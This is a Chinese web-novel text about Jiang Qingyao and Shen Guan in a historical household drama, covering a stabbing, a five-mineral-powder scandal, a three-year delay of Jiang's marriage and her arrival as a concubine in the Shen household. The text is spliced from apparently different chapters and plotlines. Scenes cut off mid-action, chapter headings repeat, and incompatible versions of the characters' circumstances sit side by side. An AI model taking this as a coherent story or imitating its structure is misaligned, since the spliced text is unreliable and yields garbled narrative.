她哭喊着去抱沈观,祈盼他能给予回应,可沈观死死闭着眼,姜清杳朝那边的书生求道: “求求诸位,给六爷请个郎中!” 晏深踹了一脚,也不知踹到谁,被踹到的连滚带爬跑了。沈昶这会儿还不住反抗,嘴里污言秽语,发出野兽一样的嚎叫狞笑,几人费力压制,另有人把沈观先抬到屋里。 动静委实不小,跑出去的书生身上带血,惊动了不少人。孟夫人得知消息时惊恐万分,伞也顾不得打,丫头也不叫扶,一路往后花园赶。等她来的时候,沈昶的亢奋已然褪去,脸色苍白虚弱,半阖着眼也不知是昏是醒,嘴角涎水四溢。 “二郎!” 孟夫人急着上前,这情形叫人瞧着,还当沈昶是被害的人。孟夫人大哭,一叠声叫人去请郎中。没多大会儿书生请的郎中到了,正要去看昏迷的沈观,却被人扯去了沈昶跟前。姜清杳要争辩,却忽被人按住肩头。 是晏深。 他意味深长的与姜清杳摇了摇头,张了张嘴,但到底什么都没说。这档口郎中已给沈昶诊上脉,没片刻便惊惶失色。 “怎么了?” 孟夫人急问,郎中脸色难看的摇头,孟夫人顿时哭道: “到底怎么了?你说啊!” 郎中脸色变的越发厉害,冷汗都下来了,孟夫人越发的急不可耐,以为沈昶已经没救了,大喝道: “说!” “这,这,这是服食了五石散……” 所有人都瞠目结舌,孟夫人更是愣怔后眼皮子抽搐了几下,天旋地转的晕过去了。 “太太!” 芮妈妈忙扶孟夫人,慌叫郎中来瞧。这一番人仰马翻,就错失了掩盖消息的最佳时机。几个书生见状不好,都悄悄退去了。连晏深也看一眼沈观,就走了。 姜清杳一直拿帕子死死捂着沈观伤口,那些血的流失让她觉着沈观的生命在不断流逝,让她恐慌。 沈昶算是完了。 孟夫人只晕厥片刻便醒,但沈昶□□庶弟通房以及服食五石散的消息,已经在来赴宴的宾客间悄悄传开了。毕竟被人撞见时,只瞧见沈昶行凶,以及姜氏衣衫不整的倒在地上,怎么瞧都像是遭侮的样子。 沈尚书正与人说笑听曲儿,忽有人前来告罪,只说家中有事要先回去。沈尚书起先不解,但接二连三,他正诧异,就有心腹随从慌忙而来,耳语两句后,沈尚书脸色大变,往后花园去。 孟夫人虽醒来却还头晕目眩,满脸是泪,拽着沈昶的手大哭。沈尚书到时只见孟夫人霸着郎中死命救醒沈昶,可那厢沈观却命悬一线。沈尚书请走郎中,孟夫人大怒,但瞧见是沈尚书,陡然心惊。 沈尚书晦暗冰冷的盯了孟夫人一眼,将郎中请到角落低声问: “先生,犬子……” 郎中吓得抖如筛糠,满头冷汗险些要哭了的告罪: “大人,小人原不敢说,可夫人……” 看来是真的了。 沈尚书不禁暗骂孟夫人坏事,倘或叫他先给六郎诊治,等人散去再给二郎看,只有□□弟妇的事还好遮掩,可五石散的事却是大事。 但转念又想,沈昶发作时被人撞见,只怕已经怀疑,郎中说不说也没什么区别。他顿时冷了神色安排: “烦劳先生去看看我家六郎。茂春,请夫人先回春晖阁。阿芮,去宏信堂告知宾客,太太突发急症,不好出来陪客了,叫两位姑娘好好招待宾客。来人,把二郎先送回去。” 他安排完转身就走,一眼不看沈昶。 孟夫人仍旧头晕目眩,看沈尚书这般,心冷了一半,悄声交代芮妈妈: “去把孟凌薇叫来。” 孟凌薇在宏信堂听戏,没多久就觉着不妥,那些影影绰绰的消息传来,下意识要走,却被着急慌忙的芮妈妈堵住了。孟凌薇到春晖阁就见孟夫人歪在榻上哭,骂着让人去看沈昶,见她来了忙起来,却踉跄着险些摔倒。 “凌薇,凌薇!此事拖不得,你一定要救救二郎啊!他是个什么人你还不知道么,是有些小心思,但绝没胆量去碰五石散啊……” 正因为孟凌薇了解沈昶,连她都敢算计的人,偷偷吃个五石散还真没什么不敢的。但她嘴上道: “他□□姜氏了?” “一定是六郎和姜氏设局害他!凌薇……” “姑母,听说姜家选上皇商,您是要给六郎定姜氏做正妻的。将来也是要做夫人的人,拿自己名节犯险,就为陷害二郎?” 孟夫人被堵的大哭,孟凌薇不耐烦起来,与芮妈妈道: “去把素日伺候在二郎身边的人都叫过来。” 沈昶出事,那些人早被沈尚书叫去了。这会儿书房里沈尚书已然了解全部,肃沉着一张脸,叫人去把许公子带过来,也把许参议请来,顺带去春晖阁告知采薇的事。与后宅女眷有关的,自该孟夫人来审。 孟凌薇没等到沈昶的随从,但等到了被绑来的采薇。 采薇吓得浑身颤抖,她只想着姜氏坏了名节不能再跟沈观,也想姜氏出了这事,沈家只能捂着,没准儿还会把姜氏送去二爷房里。但没想到这么快就被勘破,甚至把她堵了嘴绑过来。 送采薇过来的人把前头审出的结果也告诉了,孟凌薇便问: “你说二爷派人叫你把姜氏骗去园子?” “是,是……” 采薇牙齿打颤。 “怎么骗的?” 她依稀见到看戏时这丫头与她的婢女说了话,直觉不好。果然采薇抖抖索索回道: “奴婢,奴婢,奴婢先叫人偷偷与六爷说,瞧见二爷把姜氏带去园子了,六爷就走了。再,再故意叫姜氏瞧见我与姑奶奶身边的人说话,告诉她,告诉她我帮着您把六爷骗去园子了,姜氏,姜氏就急匆匆去园子找六爷……” 孟凌薇眯起眼,身边婢女顿时几巴掌下去,打的采薇连话都说不出,后槽牙都活了,满嘴是血。采薇只顾呜呜的哭,孟凌薇看孟夫人,冷笑道: “姑母管的好宅子,真是上行下效,二郎敢算计我,如今连个庶子房里的小丫头也敢算计我了。” 孟夫人咬牙,芮妈妈又上前,左右开弓打了十几巴掌,把采薇打的头晕眼花摔下去,再站不起来。 又过了会儿,茂春亲自过来。 “太太,老爷生了大气。许公子身上只有助兴的药,且当初二爷是当着自个儿人的面,自己从许公子荷包里掏了一包药出来,许参议因这事与老爷也生了嫌隙。” 这话的意思是,沈昶吃五石散的事,也别想找人来顶了。 孟夫人又是一阵天旋地转。 孟凌薇走的时候,与七郎沈瑾错身而过,谁也没瞧对方一眼,谁的神情都不好看。 沈观中了两刀,肩头一刀尚好,但腰腹间那刀却厉害,足有五寸的刀刃全都没了进去,又因孟夫人而拖延许久,醒过来后没多久,再度因失血过多而晕了过去。 这时候郎中正给他拔匕首止血,一行诊治一行摇头。 姜清杳索性揪住他耳朵,一连串儿的喊:“沈公子沈公子沈公子!” 她没了脾气,喊出来的声音格外动听又清脆,沈观抱着她,埋在她颈窝缓了缓,额上的薄汗滴下来,姜清杳被他烫得颤了颤。 眼瞧见木窗外的日光。 只觉得自己完全被沈观带坏了!!! 沈观却餍足极了,抱着姜清杳,替她整理。还笑吟吟着说:“姜小姐,多谢。” 姜清杳:!!! 他在说什么啊!为什么唤她姜小姐,这事儿……换上沈公子和姜小姐的称呼后,姜清杳只觉得脸上更烧,莫名地变了意味来。 姜清杳捂着脸想。 都怪沈观,她恐怕以后再也不能好好唤旁人公子两个字了。 第 60 章 第 60 章 姜清杳这样想,也小声抱怨出来,却不知道正如了沈观的愿。 少年笑得更愉悦些,面上还要冠冕堂皇的宽慰:“是我不好,不过这也不是什么大事,遇上要唤公子的人,唤名字、唤称呼便好,比如今日那位,清杳直呼燕洵也可。” 姜清杳总算琢磨出来。 盯着沈观打量会儿,戳穿他:“其实你闹了一通,就是不高兴我唤燕洵燕公子吧!” 沈观顿了下。 出乎姜清杳意料,诚实的点头:“是。” 这回轮到姜清杳语塞了。 少女软着身子,任由沈观打了水替她擦洗,趴在软榻上,锦被盖着身子,朝窗外花团锦簇去看。 很苦恼又严肃:“你总这样,我该拿你怎么办好呢?” 婚事虽然是由母亲相看,但其实最终是由父亲拍板。首座隔日派人将姜三老爷请到了山上。 姜三老爷颇为不安。 姜清杳是由孙妈妈护送过来的,孙妈妈是三夫人身边最得力的妈妈,有什么事她差不多都可以代三夫人做主了。首座竟却把他请过来,难道真的很严重? 东林寺香火鼎盛,便是怀溪之外的地方也有许多大户人家过来烧香许愿。姜家虽富裕,在东林寺的大和尚眼里也只是一富户而已*,姜三老爷在首座面前颇为惴惴:“大师,小女的情况如何?” 女儿家的事,唤她母亲来便是了,如何竟唤他亲来。 首座捻动佛珠,缓缓抬起眼:“这事不在令嫒,在她生母身上。” 姜三老爷吓得一个激灵,忙道:“这、这……当年可是给她做了法事的,棺木也不算薄,我家可不是那等苛刻人家。” “阿弥陀佛——”首座道,“她有何执念,你须得问自己。” 高僧什么时候会跟你说明白话,从来都是云山雾绕的,自己琢磨去。 姜三老爷便被引导着开始回忆了—— 好像有这么一个事,好像还有那么一个事……这么一回忆,竟回忆起不少事来。当时不在意,如今回想却觉得好像都落了怨恨。 人心里若是有鬼,越想就越想得多。 姜三老爷心虚得很,瞄了一眼首座,也不敢追问到底具体是哪一件事成了燕姨娘的执念,只强行镇定道:“往事不可追,眼下事该如何化解?还请大师指点明路。” 首座道:“我已算过,须得三年。待她自己放下,魂归去处。” 姜三老爷急道:“怎么这般久?大师不能现在除了她吗?” 首座瞥了他一眼。 姜三老爷“咳”一声,道:“就是家里人担惊受怕的,所以希望……” “她非是恶灵,只不过放不下自己亲生的骨肉。她的执念已经入了令嫒的因果,强行拆灭,会影响令嫒的命数。” 姜三老爷傻眼:“那怎么办?” 首座捻了一会儿佛珠,内心里交战片刻,终究还是成全了姜清杳—— “给她们三年的时间。三年里勿使令嫒离家,让她在家修行,让她生母看到她被亲人善待,有怙恃倚仗。” “三年之后,执念自消,劫数自解。” “阿弥陀佛,这孩子命里该有这一难。过去了,就好了。” 待三爷回到姜府,转述了首座大和尚的话,果然三夫人听了也是傻眼。 “啊?不离家是什么意思?什么叫不离家?” 姜三老爷咕咚咚喝了半碗茶润了喉咙,才接着说:“我也是问了大和尚,我说四娘刚订亲,本预计着明年就嫁,这怎么个不离家法?” “结果大师说,那就不嫁。若去了别人家,燕……那个谁会以为她失了怙恃,搞不好要成恶灵。嫁了不止妨四娘的命数,燕姨娘扎根咱家离不了,万一化作恶灵了还得生事。” “大师的意思,这三年就让她好好在自己家里念经。三年之后再嫁。” 三夫人道:“可三年后她都几岁了啊!” 提起这个,姜三老爷也是愁眉苦脸:“那能怎么办。这可是首座大和尚说的!” 若是庙后街的马神婆这么说,姜三老爷和三夫人都得怀疑一下是不是马神婆想骗钱故弄玄虚。可这是东林寺的首座大和尚说的,这是德高望重的高僧。 更不要说他还是姜清杳的挂名师父。女子嫁人是一辈子的事,三年一耽搁就可能耽搁一辈子好姻缘,师父再怎样也不会这样坑自己的弟子的。 三夫人想了想:“要不然,叫庙后街的马神婆……” 姜三老爷没好气地道:“要是马神婆都能收得了,大师为什么不动手收?你懂不懂什么叫因果。” “阿弥陀佛。”三夫人两手合十,“我自然懂,我时时念经的。家里再没有比我更心诚的了。” 三爷道:“你去与刘家说说,就说我们想留四娘三年,问问他们的意思行不行。” “要不行呢?” “要不行,就算了。退了吧。” 姜清杳的这桩亲事到底是退了。 刘家几个儿子年岁相近,老二的婚事若是拖了,就影响老三的婚事,刘家不乐意。好在两家只插了钗,连庚帖都还没来得及换,退还了珠钗,赔了些礼物,三夫人又是道歉又是说软话,这事就算了。 因还没换庚帖,也不算是退亲,勉强算是相看失败了。 等姜清杳从山上回来的时候,她的婚约已经处理干净了。 二娘、三娘还过来看她,替她惋惜:“多好一门亲事,怎地就算了?怎么回事?” 姜清杳抹眼泪:“我怎知道,你们去问父亲母亲。” 打发了姐妹们,姜清杳便踏实地在自己的小院子里“养病”。 三夫人因为心里有鬼,不愿意常见她,竟连她的晨昏定省都免了。 但姜清杳亲事告吹,家里也不是没人说嘴。老太太还把三夫人叫过去训斥。 三夫人也不敢说是燕姨娘闹鬼,只能说:“四娘身子骨不好,东林寺的大和尚给算了算,说她命里有劫数,须得三年后再说亲。要不然,妨家里也妨人家。我们年轻倒是不怕的,就怕妨了老太太你。” 老太太只比中年妇人更迷信,越老越迷信,听了忙细问如何个妨法,又如何破法。 三夫人胡编:“只说不能使她离自己家,日日抄写经文,平平安安三年就行。” 还说自己心疼这孩子,甚至免了她晨昏定省。 老太太一听,心说这妨人的孩子你避开了,让跑来妨我是吧。把手一搭:“既这样,我这边也不用过来了。让她好好地念经,没事别乱出门。” 姜清杳本来年纪大了也不用去上课了。如今在自己的小院子里关起门来过自己的小日子。抄抄经文,种种花,打打络子,合合香、自制个粉什么的——在这里生活了好几年了,也学会了许多新技能。 衣食丰足,不受气,不受屈,这小日子过得又平静又美好。 这一年,二娘嫁了。第二年,三娘也嫁了。年纪差不多的堂姐妹也都陆续出阁,还在家里的都是比她小了几岁的。 因听了些什么劫数、妨人之类的八卦,五娘也被她的姨娘管着不许来找姜清杳玩。姜清杳几乎没什么社交了,安静地宅在自己的小院里。 直到第三年春日里,姜府上下忽然热闹了起来——喜报传来,姜家那个十一岁中秀才做了案首、去年中举人当了解元的外孙沈观金榜题名,高中一甲第三名! 姜清杳还掰着手指头算了一下:一状元,二榜眼,三探花。 哇哦,探花郎! 挺好的,好歹是亲戚,姜清杳为当年那个礼貌老成的小男孩感到高兴。但这跟她没什么大关系,她继续埋头整理她的花园。春日里好多要枝要修呢。修好了,过些日子都是美美的花苞。 这安安静静的宅女小日子,过完今年就要结束了。她今年十七岁了,明年就十八。从心理上,能接受自己嫁人生子了。从生理上,她的身体已经发育完全,生育死亡的概率大大降低。 姜三老爷和三夫人也不可能让她一辈子待在家里。今年说亲,明年出嫁,正好圆了“三年”之说。 这是无法改变的人生,姜清杳已经可以平静地接受它。 但她的亲事是姜三老爷和三夫人去操心的事,现在姜清杳要操心的是云鹃的婚事。 婢女们不像小姐们金贵,为了多用几年,一般会让丫头晚两年出嫁,更划算。云鹃和姜清杳同龄,今年正是该出嫁的年纪了。 之前青燕自己高飞了,后来巧雀爹娘也都有差事,有自己的路子,不用姜清杳操心。但现在到了云鹃这里,云鹃是外面买来的,没有爹娘。她什么路子都没有。 姜清杳拿钱置办了四色点心攒盒,两块尺头,并一对虾须银镯,亲自登了孙妈妈的门。孙妈妈是三夫人的心腹妈妈,三房婢女们的婚事都要经她的手。 孙妈妈没想到平时四姑娘看着木讷憨厚,也不知道去讨好嫡母,这时候居然机灵起来了。 礼多人不嫌。这事于云鹃是关系终身的大事,于孙妈妈不过就是日常工作。没几日就把云鹃的事安排好了——配了门子上的一个年轻小厮。门子上迎来送往,多有赏钱,算是肥差。他爹虽不是管事,却是赶车的老把式,是姜家二爷惯用的。 云鹃没爹娘,能配这么个还算不错的年轻后生,全靠她主子四姑娘愿意使银子,还肯低头求人。 连孙妈妈都跟三夫人说:“我非是贪四姑娘那点东西,我跟着夫人什么好东西没见过、没用过,眼皮子没那么浅。就是觉得四姑娘疼惜下人这份心,跟夫人当年一样一样的。” 孙妈妈是三夫人带过来的陪嫁婢女,她的婚事也是当年三夫人精挑细选的。如今过得体体面面,是为人奴仆羡慕的那种日子。 三夫人十分受用:“这孩子好歹是我养大的,虽然笨笨的,总得从我这儿学点什么吧。” 孙妈妈:“可不是。四姑娘今年可也十七了,她这婚事还得您操持起来。” 三夫人也知道,姜清杳这个年纪必须今年给她说定一门亲事,待明年三年期满,破劫定命了,正好就出阁。因明年五娘也要及笄了,也得说亲。上面要压着个姐姐婚事定不下来,下边就要影响妹妹。 到时候,受指摘的全是她这个嫡母。 “先不管这个,都放放。”三夫人说,因为眼前她还有更重要的事要忙,“妹妹的院子都都收拾好了?你好好盯着,别让下面这些人偷懒。要慢待了妹妹,有她们好果子吃。” 孙妈妈拍胸脯打包票:“有我盯着呢。” 姜家外孙沈观高中探花,姜家与有荣焉。 只大家都没想到,忽然沈家来了人送信,沈夫人要携着新科出炉热腾腾的探花郎儿子回娘家省亲。 这可太突然了。 一般高中了都是回乡祭祖什么的。但沈家就是京畿人士,高中之后直接就祭了。可这回娘家还是回得太突然了。大多都是提前几个月甚至一年书信往来,早早安排,这次竟然是送信人搭着快船只比沈夫人早十天到,打了姜家一个措手不及。 但不管怎么着,探花郎外孙要来姜家,姜家门楣生光。三夫人忙得脚不沾地,打点准备,欢迎这个探花郎外甥。 阖府上下,喜气洋洋,只盼着探花郎登门。 沈观迷迷糊糊的醒过来,见到是她,微微清醒:“清杳。” 他握住她的手。 姜清杳就拉他起来:“去床上睡。” 沈观嗯一声,被姜清杳拉到床上,褪了外衫,褪到一半,躺上又睡着了。好像刚才说了话的不是他。 姜清杳呆了会儿,犹豫下,没叫醒他。 费劲把沈观往床里推了推,又帮他把外衫扯下来,准备给他盖被子的时候,不小心碰到他腰后,睡着的少年也疼的蹙了下眉。 姜清杳愣了下,看他一眼,有小心的将他的里衣拉开去看他后腰。 果然看见一大片触目惊心的青紫伤痕。 60-70 第 61 章 第 61 章 也不知道他哪里来的伤,半声也没和姜清杳吭的。 分明拿这个到姜清杳面前,才最好卖可怜了。 这人却执着的用那张漂亮的脸蛋来。 姜清杳一时不知道说什么好。盯着沈观睡深的模样,有些苦恼,然后一拍脑袋,上手就把沈观的衣服都扒了。 找来药膏,闷头给沈观抹上揉开。少年看着是真累了。姜清杳一番动作,他也只是迷蒙间睁过眼睛,见到是姜清杳,便又放心的睡着。 姜清杳给他抹好药膏,扯了被子给沈观盖上,自己去里侧睡了。 闭着眼睛躺了一会儿,又睁开眼,转头看熟睡的沈观。 孙妈妈虽然不怎么高兴,但也没有特别的不高兴,反正就那样走了。 巧雀大大地松了一口气。 事关她的月钱,她当然不想自己被克扣,但孙妈妈是三夫人的心腹妈妈,她小小丫头也怕得罪了她。 幸好,姑娘没跟孙妈妈硬顶,一通哭诉既为院子里的婢女们保住了月钱,也没有得罪孙妈妈,大家还是一团和气。 巧雀对自家姑娘真是刮目相看了。 在巧雀的眼里,这都是因为姑娘没了娘,又在山上的时候时时跟大和尚上课被教导,所以迅速地成长了! 毕竟姑娘是读书识字的,而她是个大字不识的。大字不识的人,常容易对读过书识了字的人产生敬畏感。 总之,是令人高兴的。 因为巧雀本身不像青燕那么有主意,要是主子是个有主见的,哪怕主子如今才九岁,她也是乐意听主子安排的。这样,不用自己费脑子,省心。 自家姑娘虽然年纪还小,可已经能立起来了,她作婢女的还担心什么呢。 巧雀立刻撸袖子回屋里去了:“我做活去了!定叫姑娘十五那日穿上新衣裙。” 姜清杳跟着进了堂屋坐下。云鹃端过来一碟子洗净的桑葚,姜清杳捻起一个丢进嘴巴里,冲着槅扇门里面喊:“别太累着,白天缝晚上就别缝了。先把衫子缝出来就行。裙子可以穿上次缝的那条……” 巧雀在里间道:“那不行,姑娘新除服呢,守孝时的衣裳按说都不该穿了。夫人赏的新料子颜色才够新鲜。姑娘别担心,我手快。” 云鹃说:“我去洗洗手,给巧雀姐姐打下手去!” 经由姜清杳的争取,不仅保住了巧雀的二等月钱,连云鹃也从粗使升了三等了,涨钱了。 正是干劲十足的时候。 姜清杳塞了一嘴的桑葚,一边咀嚼,一边从敞开的门口看向外看。 天蓝蓝的,小院不大但属于她。 两个丫头收服归心,踏实干活。 再来个小丫头搁在身边从小教,不信教不好。 姜清杳瞅着四下无人,忍不住翘起了二郎腿,缎面绣鞋一晃一晃。 美~! 简直想哼两句小曲,忍住。 葵儿第二天带着个小包袱来了,身上穿了件新衣,是方胜纹的松江布裁的,正是昨日姜清杳赏的。 小孩穿新衣脸上都生光:“我娘连夜赶着给我裁的。另一块料子她在做了。” 还行,不是那等贪心糊涂的父母。 因院子里的丫头得有体面,不能折损了主人的脸,主人家才会给赐下四季衣裳,叫穿得鲜亮。葵儿这个时候来,没赶上,姜清杳才赏了她料子。 若是她爹娘把料子昧下,虽然她可怜,但姜清杳也得重新考虑是不是继续用她了。 一个大户人家的宅子就是一个小社会。不是没有刁奴欺主的。尤其主人年纪还小的这种情况。 孙妈妈不就暗搓搓想克扣她院里婢女的月钱嘛。 葵儿的事不用她操心,巧雀如今是院里的大丫头了,被褥、用具之类的自有巧雀来操办。 云鹃也勤快,告诉葵儿规矩,指点她收拾东西。 葵儿别看小,铺床叠被十分之麻利,一看就是打小就干活的。看那粗糙手心就能看得出来。 丫头们住在耳房里,三张小床品字形摆放,一人一个小木箱装自己的东西。还有个小柜大概是定制的,恰就是上中下三层,一人分一层。 姜清杳靠在耳房门口,看着三个小女孩一边叽喳一边利索地拾掇,极快地就安置好了葵儿。 葵儿年纪虽小,但很有眼色。不唤不随便往正房里跑,若唤了叫干什么就干什么。 小小一个娃娃就会抓着比自己还高的扫帚,吭哧吭哧地扫院子。 姜清杳没法说“这是个孩子我们不能用童工”,只能跟李婆子说:“她小,别让她干太重的活。” 又跟巧雀说:“吃饭的时候你瞧着点,让她多吃点。” 巧雀点头:“吃饱了才能有力气干活。” 姜清杳:“……” 不,我不是那个意思。 ……算了。 葵儿一到,姜清杳院里的配置就算齐全了。 说起来比起红楼里面差远了,可别忘了,红楼那是钟鸣鼎食之家,咱们这就是一个乡绅,乡绅而已。 一个人有三个婢女一个婆子用,反正姜清杳自己是很知足的。 巧雀晚上点灯熬夜,果然在十五之前把新衣裙都赶出来了。用的是三夫人赏的衣裳料子,很鲜亮。 守孝结束后除服就该这样的,换上鲜亮的衣服,开始新的生活。 三房的孩子都如约而至。 大郎跟着沈家人去了京城,二郎、三郎在家,一个十三岁一个八岁,是少年和孩童。另有从大娘到五娘四个姐妹,三房的七个孩子聚在一起,相当热闹。 只是二娘跟三娘吵架,三郎捉弄哭了五娘,又有二郎这个本该是当事的哥哥竟然想偷偷弄酒来喝,唯恐天下不乱。 搞得姜清杳十分头大。 好在她躯壳虽小,却是成年人的灵魂,把这群孩子照顾得很好。大家都很尽兴。 到该散的时候,大娘问:“明个该上学去了吧?” 姜清杳回到家里歇了好几天了,也道:“明天就去。” 家里拨了专门的房舍给姑娘们上学用。每日里姑娘们结伴过去。 大娘说:“那我过来的时候喊你。” 大娘回去后跟自己的奶娘感叹:“四娘都会照顾人了。” “那是。”奶娘说,“你有姨娘,她没有了。” 甚至连奶娘都没一个,是个孤苦的命。 大娘道:“可别乱说,还有母亲呢。” 奶娘忙道:“瞧我,该掌嘴。” 大娘已经十二岁了,再过两年就要说亲了。她的姨娘、奶娘都晓得女儿家说亲得靠嫡母,都在教她讨好嫡母。 大娘拿起才起了针的针线活做了起来。 奶娘嘱咐道:“针脚再细些,见诚意。” 大娘轻轻道:“好。” 这是给嫡母裁的贴身衣裳,料子特别柔软,下针的难度就更大一些。 裁外衣那是孝心表露给别人看的。裁这贴身的、旁人看不到的小衣,才是不沽名钓誉,真心孝顺的。 姜清杳要是知道十二岁的小姑娘已经要考虑这么周祥,怕是又要叹气了。 姜清杳的生活开始回到正轨,她又开始上学了。 上学的不止三房的几个姑娘,还有各房的堂姐妹们,林林总总十来个姑娘。看出来了,叔叔伯伯们都挺能生的。毕竟这时代不节育,姜家也有钱养得活养得起,不至于溺杀女婴。 大家年纪不一样,最大的一个堂姐十四岁了,最小的就是三房的五娘,才六岁,今年刚进学。 虽然是在一个课堂上,每个课也是同一个女西席在教,但其实是分层教学。 年纪小的学识字、读书。大些的有女红、音律、书画。再大些的要学习管家的技能。 虽然挺实用的,但总体来说所学的东西都是为了好说亲,说好亲。终极目的是要嫁个好人家,并经营好自己的婚姻。 姜清杳经过山上一年的恶补,如今针线上也像模像样了。 倒是她的字让女先生颇感意外:“竟练得这样好了?”一年前也是这先生教的,她是知道“姜清杳”的水平的。 真要感谢这一年的缓冲。到现在姜清杳都庆幸当时自己走的这一步太对了。 现在她能从容地告诉先生:“在山上日日抄写佛经,又得了师父的指点,加上杂事少,心无旁骛,才有了些许进步。先生看着可还行?” 先生也听说了她在东林寺认了师父,点头称赞:“不错。” 姜清杳面上笑吟吟,心底长长吐出一口气。 至此,原主的痕迹算是被彻底抹杀覆盖了。姜清杳认认真真地和姐妹们上学,恭恭敬敬地给祖母、嫡母晨昏定省。 日复一日,循环往复,看起来和姜家的别的姑娘没有任何区别。 不,也不能说完全没有不一样。 姜家三房的四姑娘为生母守孝一年归来,变得成熟、沉稳、懂事起来。在姐妹中间从来不争不抢,呛嘴吵架也从来没有她。 在姐妹们的眼里都觉得三房的四娘是个老好人,只会傻笑,有点钝钝的。 她们不知道姜清杳这个成年灵魂会为了丫头们的月钱寸步不让,但怎么会跟一群小女孩一般见识。大人,是懂得包容的。 爱吵吵,爱抢抢。在姜清杳的眼里,小女孩之间就根本没有什么值得她拍案而起去争抢的,甚至她还得去当起劝架、拉架的责任,谁让她是一堆孩子里唯一的大人呢。 渐渐竟有了敦厚友爱的名声。姨娘们都愿意自己的女儿跟四娘一起玩,不担心被欺负,也不担心有事。 都说:“四娘是个稳妥的。” 只是四娘自从从山上回来,添了杳花弄草的爱好,移栽了许多她从山上带回来的花草,把她那院子里整得葳蕤青翠,花团锦簇。 大娘有时候过来找她玩,赞叹之余,建议她:“剪些花送与母亲赏玩呀。” 这做姐姐的真有长姐的样,担心没有人教她,悄悄与她咬耳朵:“你还小,我跟你说……以后我们说亲,都要靠母亲的。” 大娘要是不说,姜清杳为了安稳说不定还真会这么做。偏大娘这么一说,姜清杳心想,那可真不能送了。 真让三夫人喜欢了,早早给说了亲事可怎么办? 姜清杳一边“嗯嗯”,一边装傻充楞,就是不照办。每天该上学上学,该吃喝吃喝。至于讨好嫡母的事,那是一件也没做的。 气得大娘回去跟自己的姨娘说:“四娘跟听不懂人话似的。” “她如今也没有姨娘为她操持了,以后还不是全得靠母亲。”大娘恨铁不成钢,“怎么就不知道多表表孝心呢。” “都是为了她好。” 有的。还有看清杳。 只是沈观不想说,怕姜清杳生气,骂他伪君子。 好在姜清杳不纠结,眼珠子一转,叉腰严肃道:“我很生气的其实。” 沈观眨眨眼,其实没看出来。 姜清杳把拳头捏紧,以示自己的生气,眼睛还不住的瞟沈观。 沈观明白了,配合道:“怎么样才能让清杳不生气?只要清杳说,我都会去办的。” 姜清杳眼睛亮起来,双手合十:“我还想再吃一碟荔枝。” 第 62 章 第 62 章 沈观沉默了。 姜清杳期待的看着他。 少年避开对视,很坚定:“不行。” 姜清杳立刻便翻脸了,比她翻话本还快,生气道:“那我现在要变成十分生气了!” 盛京的夏末比南方凉爽些,黄昏一乘小轿行在巷子里,吱吱扭扭的声响传出很远,一直走到巷子尽头,小婢敲开角门,通红着眼睛赔笑行礼: “妈妈,我们姑娘……” “来了?进来吧。” 小婢瘪了瘪嘴,从轿子里扶出位娇媚少女,通身南方姑娘的袅娜柔软,尤其一双眼睛,水盈盈的仿佛能勾人心肠。她下了轿低声交代: “叫老爷别忘了后日来见大人。” “快些!” 婆子催促,少女从轿子里提出个小包袱,垂头从角门进去了。等婆子关了门,她才给婆子塞个荷包低声道谢: “多谢妈妈。” 声音软的能滴出水来,婆子不禁多看她一眼。 盛京城里什么样的姑娘见不着?端庄的世家贵女,妖佻轻浮的在花楼。但这姑娘偏就介于二者之间,有南边特有的柔润,还夹缠了几许魅惑,眼睛却又清透至极,尤其行走间,不胜风情的摇枝摆柳,却又不到轻浮的地步。 真是个妖精。 都说谢姨娘极具风情,可哪又能与眼前这姑娘比?看来姜家这回可送对人,明年皇商里要有姜家一份儿了。婆子想着,就与她攀谈起来: “姜姑娘多大了?” “十六了。” “读过书么?” “认得几个字。” 婆子便道: “咱们是书香世家,家里郎君姑娘都读书。” 单识字这一样,又比谢姨娘强。 “姑娘就这么点行李?” “还有两箱子衣裳,明日送来。” 婆子撇嘴,送到尚书府伺候老爷的庶女,还能带两箱子衣裳,真不愧是商户人家,不缺银钱。 说话间二人一路穿行小道,到春晖阁的时候,天色已暗下来,院子里一众婢女正撤碗碟。婆子引姜清杳在院门檐下等了会儿,等到里头叫茶,才要带姜清杳进去,就忽听有人说笑,忙又站到门檐角落,低声交代姜清杳: “低头!” 姜清杳忙站了,就觉身前微风拂过,几个郎君说笑着往里走。等风过去了,姜清杳才松口气,微微抬眼,却正与一人对上眼光。这人目光疏冷,姜清杳忙又低头。 正房里很快传出说笑声。 郎君们进去了,婆子有些踟蹰,这姜姑娘还带不带进去?她还犹豫,正房门帘掀起,谢姨娘站在廊下道: “姜家送来的人到了没?太太要瞧呢!” 婆子忙应声,催促姜清杳快进去。 姜清杳低垂着头,谢姨娘看她这种姿态不免嗤鼻,年轻几岁又如何?终究是上不得台面,她带着姜清杳穿过外堂绕过屏风进了小厅: “太太,人来了。” 谢姨娘去到主位旁,给孟夫人捏着肩膀便斥姜清杳: “见礼呀,这呆头呆脑的。” 姜清杳忙见礼,寻常的万福礼在她做来风情万种。谢姨娘凉薄笑容有些凝滞,那些言笑的郎君也都看过来。良久,孟夫人才道: “抬头。” 姜清杳慢慢抬头,眼神却始终低垂。屋里静谧无声,良久,谢姨娘同孟夫人悄声道: “太太,这幅模样,若伺候老爷,别闹出什么不好风声,坏了老爷名声。” 孟夫人富态的脸上染了几许厌恶,谢姨娘努了努嘴,孟夫人就看见二郎正盯着姜清杳看,眼睛仿佛点了蜡烛一样。孟夫人的厌恶越发厉害,但她又看见了唯一没盯着姜清杳看的六郎,心里就埋怨起来。 一样读书的孩子,自家的这幅模样,庶出的却偏那么争气。 谢姨娘看孟夫人脸色几经转变,递了茶给孟夫人,孟夫人慢条斯理啜了口才道: “起吧。” 哪怕姜清杳在家也不少立规矩,这礼也见的腿都打颤了。孟夫人又看姜清杳两眼,才总算开口: “老爷房中不缺伺候的人。” 这话一出,不少人心思活泛起来,二公子沈昶几次去看母亲,见母亲理也不理,就忙与谢姨娘打眼色,谢姨娘踟蹰着还没开口,孟夫人就抢先道: “六郎屋里还没个伺候的人,你去六郎房里伺候吧。” “是。” 姜清杳愣怔了一下才应声,继而有人走到身边,声音清冷: “多谢太太。” 想来是六公子了,但紧接着咯噔一声响,吓得姜清杳一哆嗦。沈观目不斜视,孟夫人冷冷扫了一眼。 是二公子,将茶盏重重搁在小几上,七公子拽了拽他衣袖,他看向沈观,冷嗤一声。孟夫人厌烦起来: “不早了,都回吧。” 晨昏定省,今日结束的仓促了些。姜清杳有些惴惴,正不知该如何,身边人淡声道: “随我来。” 姜清杳亦步亦趋跟着,才走到房檐下,沈观就被堵住了。还是二公子。 